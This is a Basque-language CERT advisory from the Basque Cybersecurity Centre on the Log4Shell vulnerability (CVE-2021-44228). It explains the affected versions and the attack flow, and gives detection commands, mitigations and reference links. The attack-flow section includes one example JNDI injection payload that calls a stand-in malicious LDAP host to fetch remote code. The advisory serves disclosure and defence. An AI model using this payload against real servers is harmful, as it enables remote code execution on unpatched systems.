Log4j ahultasuna (CVE-2021-44228)

BCSC-AHULTASUNA-LOG4J-CVE-2021-44228

TLP:WHITE

www.basquecybersecurity.eus

2021ko Abendua

AURKIBIDEA

Erantzukizunetik salbuesteari buruzko klausula

Honako dokumentu hau eskaintzen da erakundeen eta interesa duten herritarren segurtasunerako, BCSCk beharrezkotzat jotzen dituen alertak ezagutzera emateko. Inongo kasutan BCSC ezin da kontsideratu hemen zabaldutako informazioaren erabilpenak zuzenean nahiz zeharka, ustekabean nahiz modu berezian, eragin litzakeen balizko kalteen arduradun. Gauza bera esan beharra dago BCSCren webean edo hortik esteken bitartez joan litekeen kanpoko web orrialdeetan, sare sozialetan, software produktuetan edo alertan nahiz BCSCren webean agertutako beste edozein informaziotan aipa litezkeen teknologiei dagokienez. Edozein kasutan, alertaren edukiak eta mezu elektronikoen bidez eman litezkeen erantzunak hemen jasotako terminoetan emandako iritzi eta gomendioak dira eta jakinarazitako informaziotik ezin da ondorioztatu ondorio juridiko loteslerik.

Salmenta debekatzeari buruzko klausula

Guztiz debekatuta dago dokumentu hau saltzea edo beragatik edozein onura ekonomiko eskuratzea, baina posible da bera kopiatzea, banatzea, hedatzea edo ezagutzera ematea.

BCSC-RI BURUZ

Zibersegurtasun Euskal Zentroa (Basque Cybersecurity Centre, BCSC) da Eusko Jaurlaritzak izendatutako entitatea Euskadin zibersegurtasunaren gaian heldutasun maila igotzeko.

Zeharkako ekimena da, Enpresa Garapenerako Euskal Agentziaren (SPRI) barnean kokatua, Eusko Jaurlaritzako Ekonomiaren Garapen, Jasangarritasun eta Ingurumen Sailaren menpe dagoen sozietatea. Era berean, Eusko Jaurlaritzako beste hiru Sail ere bere parte dira: Segurtasuna, Gobernantza Publiko eta Autogobernua, eta Hezkuntza; bai eta Zientzia, Teknologia eta Berrikuntzako Euskal Sistemako lau eragile ere: Tecnalia, Vicomtech, Ikerlan eta BCAM.

BCSC erreferentziazko entitatea da zibersegurtasuna eta konfiantza digitala garatzeko Euskadiko herritar, enpresa eta instituzio publikoen artean, eta batez ere, eskualdeko ekonomiaren sektore estrategikoen kasuan.

Beraz, BCSCren eginkizuna da euskal gizartean zibersegurtasuna sustatzea eta garatzea, Euskadiko enpresa jarduera dinamizatzea, eta erreferentzia izango den sektore profesional bat sor dadin eragitea. Testuinguru horretan osagarriak diren eragileen arteko lankidetza proiektuak exekutatzea sustatzen du, berrikuntza teknologikoaren, ikerkuntzaren, eta fabrikazio aurreratuko industriarako eta beste sektore batzuetarako transferentzia teknologikoaren alorretan.

Era berean, hainbat zerbitzu eskaintzen ditu Gertakarien Aurreko Ekipo modura duen rolagatik (aurrerantzean CERT, ingeleseko izenaren siglak direla-eta “Computer Emergency Response Team”). Euskal Autonomia Erkidegoko esparruan mehatxu berriak antzemateko eta horiei buruzko alerta goiztiarrak emateko gaitasuna areagotzen dihardu lanean, informazioaren segurtasun gertakarien erantzunean eta analisian, eta euskal gizartearen beharrak artatzeko beharrezkoak diren prebentzio neurrien diseinuan. Helburu horiek lortzeko xedearekin, zibersegurtasun gertakariak kudeatzera zuzendutako hainbat ekimenetan hartzen du parte:

1. LABURPEN EXEKUTIBOA

Abenduaren 10ean, Log4j kode irekiko liburutegiari eragiten dion ahultasun bat argitaratu zen, Apache Fundazioak garatutako logak kudeatzeko. CVE-2021-44228 zenbakiarekin erregistratu da, baina Log4Shell edo LogJam izenak ere jarri zaizkio. Ahultasun hori 2.15.0 bertsioan zuzendu da, eta Log4j-ri eragiten dio 2.0 bertsiotik 2.14.1 bertsiora.

LDAP eskaerak prozesatzean, sarrera behar ez bezala balidatzeaz baliatzen da ahultasuna. Ustiapen arrakastatsu batek kodea urrutitik exekutatzea ahalbidetu lezake (RCE), sistema kalteberen konfidentzialtasuna, osotasuna eta erabilgarritasuna arriskuan jarriz.

Erabiltzaile-mailan Javaren erabilerak behera egin du azken urteotan, baina web sistema asko, enpresa-softwarea edo Apple, Amazon, Google edo Steam zerbitzuak ere ahulak izan daitezke akats horren aurrean.

Ustiapen-erraztasuna, ahultasuna aktiboki ustiatzen ari dela eta enpresa-softwarean asko erabiltzen den osagaia dela kontuan hartuta, adi egon beharko da osagai hori sistemetan erabiltzen duten fabrikatzaileen eguneratzeak argitaratzeko.

2. AZTERKETA TEKNIKOA

CVE-2021-44228 ahultasunak Apache Log4j-i eragiten dio, Apache Fundazioak garatutako logak kudeatzeko kode irekiko liburutegi bati. Liburutegi hau enpresa-sistemen garapenean asko erabiltzen da ekitaldiak erregistratzeko. Ahultasun hori 2.15.0 bertsioan zuzendu da, eta Log4j-ri eragiten dio 2.0 bertsiotik 2.14.1 bertsiora.

LDAP eskaerak prozesatzean, sarrera behar ez bezala balidatzeaz baliatzen da ahultasuna. Ustiapen arrakastatsu batek kodea urrutitik exekutatzea ahalbidetu lezake, sistema kalteberen konfidentzialtasuna, osotasuna eta erabilgarritasuna arriskuan jarriz.

Ustiapena testu-kate bakar baten bidez lor daiteke. Aplikazio bat kanpoko host maltzur batekin komunikatzea eragin dezake, Log4j-ren instantzia ahultasunaren bidez erregistratzen bada. Horrek erasotzaileari urruneko zerbitzari baten payload bat berreskuratzeko eta tokian-tokian exekutatzeko gaitasuna ematen dio. Honako hau izan daiteke balizko eraso-fluxu bat:

1. Erasotzaileak parametro manipulatu bat bidaltzen dio zerbitzariari (http bidez edo beste protokolo baten bidez). Adibidez: ${jndi:ldap://sitio-malicioso.com/exp}.
2. Zerbitzari ahultuak payloadarekin jasotzen du eskaera.
3. Log4j-ko ahultasunak payload-a exekutatzea ahalbidetzen du, eta zerbitzariak erasotzailearen guneari eskaera bat egiten dio. Eskaera JNDI protokoloaren bidez egiten da.
4. Erasotzailearen zerbitzaritik emandako erantzunak urruneko Java fitxategi bat du, zerbitzari ahultuan exekutatzen ari den prozesuan injektatzen dena.
5. Zerbitzari ahultuan kodea exekutatzen da.

Kontuan hartuta ustiapen-erraztasuna, ahultasuna aktiboki ustiatzen ari dela eta enpresa-softwarean asko erabiltzen den osagaia dela, adi egon beharko da osagai hori sistemetan erabiltzen duten fabrikatzaileen eguneratzeak argitaratzeko. Erabiltzaile-mailan Javaren erabilerak behera egin du azken urteotan, baina web sistema asko, enpresa-softwarea edo Apple, Amazon, Google edo Steam zerbitzuak ahulak izan daitezke akats horren aurrean.

Ahultasun horrek eragindako teknologia eta osagaiei buruzko informazio gehiago izateko, Herbehereetako CERT nazionalak zerrenda bat argitaratu du: https://github.com/NCSC-NL/log4shell/blob/main/software/README.md

Halaber, ahultasun horrekin lotutako fabrikatzaileek argitaratu dituzten segurtasun abisuen bilketa egin da: https://gist.github.com/SwitHak/b66db3a06c2955a9cb71a8718970c592

Ondorengo komandoak erabiliz, Log4j exekutatzen ari den egiazta daiteke:

- **Windows**: gci 'C:\' -rec -force -include *.jar -ea 0 | foreach {select-string "JndiLookup.class" $_} | select -exp Path
- **Linux**: find / 2>/dev/null -regex ".*.jar" -type f | xargs -I{} grep JndiLookup.class "{}"

Florian Roth ikertzaileak ahultasun horren ustiapena detektatzeko modu batzuk argitaratu ditu:
https://gist.github.com/Neo23x0/e4c8b03ff8cdf1fa63b7d15db6e3860b

Era berean, IPen zenbait zerrenda argitaratu dira, eta horietatik ahultasun hori ustiatzeko saiakerak hauteman dira:
https://gist.github.com/gnremy/c546c7911d5f876f263309d7161a7217

AEBko zibersegurtasuneko eta azpiegituretako agentziak (CISA) webgune eta Github biltegi bat argitaratu ditu, ahultasun horri buruzko informazio garrantzitsu guztia biltzen saiatzen direnak:

- https://www.cisa.gov/uscert/apache-log4j-vulnerability-guidance
- https://github.com/cisagov/log4j-affected-db

3. ARINTZEA / KONPONBIDEA

Ohikoa denez, ahultasun hori eta beste batzuk prebenitzeko, BCSCtik gomendatzen da sistemak eta aplikazioak beti eguneratuta izatea eskuragarri dagoen azken bertsioan, adabakiak argitaratu bezain laster.

Apachetik ahultasun hori zuzentzen duen Log4j 2.15.0 bertsioa atera da. Esteka honetan eguneratzeak eta luzapenak instalatzeko moduari buruzko informazio gehiago dago: https://logging.apache.org/log4j/2.x/download.html

2.10 bertsiotik gorako bertsioetan ahultasun horren eragina arintzeko neurri bat argitaratu da: aplikazioa hastean, "-Dlog4j2.formatMsgNoLookups=True “Java makina birtualera komandoa pasatzea.

AEBko zibersegurtasuneko eta azpiegituretako agentziak (CISA) zenbait erreferentzia argitaratu ditu ahultasun horren eragina arintzeko:

- https://www.microsoft.com/security/blog/2021/12/11/guidance-for-preventing-detecting-and-hunting-for-cve-2021-44228-log4j-2-exploitation/
- https://blog.talosintelligence.com/2021/12/apache-log4j-rce-vulnerability.html
- https://unit42.paloaltonetworks.com/apache-log4j-vulnerability-cve-2021-44228/
- https://www.crowdstrike.com/blog/log4j2-vulnerability-analysis-and-mitigation-recommendations/
- https://securityintelligence.com/posts/apache-log4j-zero-day-vulnerability-update/
- https://www.tenable.com/blog/cve-2021-44228-proof-of-concept-for-critical-apache-log4j-remote-code-execution-vulnerability?utm_campaign=00023584&utm_promoter=tenable-ops&utm_medium=homepage-hero&utm_content=other-rr-log4j-blog&utm_source=tenable-dot-com
- https://www.splunk.com/en_us/blog/security/log4shell-detecting-log4j-vulnerability-cve-2021-44228-continued.html
- https://blogs.vmware.com/vsphere/2021/12/vmsa-2021-0028-log4j-what-you-need-to-know.html

4. ERREFERENTZIA OSAGARRIAK

- Log4j RCE 0-day actively exploited | CERT NZ
- New zero-day exploit for Log4j Java library is an enterprise nightmare.
- Extremely Critical Log4J Vulnerability Leaves Much of the Internet at Risk.
- Log4j RCE 0-day actively exploited.
- Log4Shell sample vulnerable application (CVE-2021-44228).
- Download Apache Log4j 2.
- GitHub: Log4Shell sample vulnerable application.
- GitHub: CVE-2021-44228 (Apache Log4j Remote Code Execution).
- GitHub: Log4jAttackSurface.
- GitHub: expl_log4j_cve_2021_44228.yar.
- GitHub: CVE-2021-44228_IPs.
- GitHub: Security Advisories / Bulletins linked to Log4Shell.
- GitHub: local-log4j-vuln-scanner.
- GitHub: log4j-detector.
- GitHub: log4shell-detector.
- Add property to disable message pattern converter lookups.
- NIST: CVE-2021-44228.
- Apache Log4j 2.

Gertakarien jakinarazpena

Zibersegurtasun gertakariren bat aurkitu baduzu jakinaraz iezaguzu, horrela beharrezkoak diren neurriak hartuko ditugu zabal ez dadin.

900 104 891

arazoak@bcsc.eus

Zibersegurtasun katalogoa

Zure zibersegurtasunarekin edo zure enpresarenarekin laguntza behar duzu?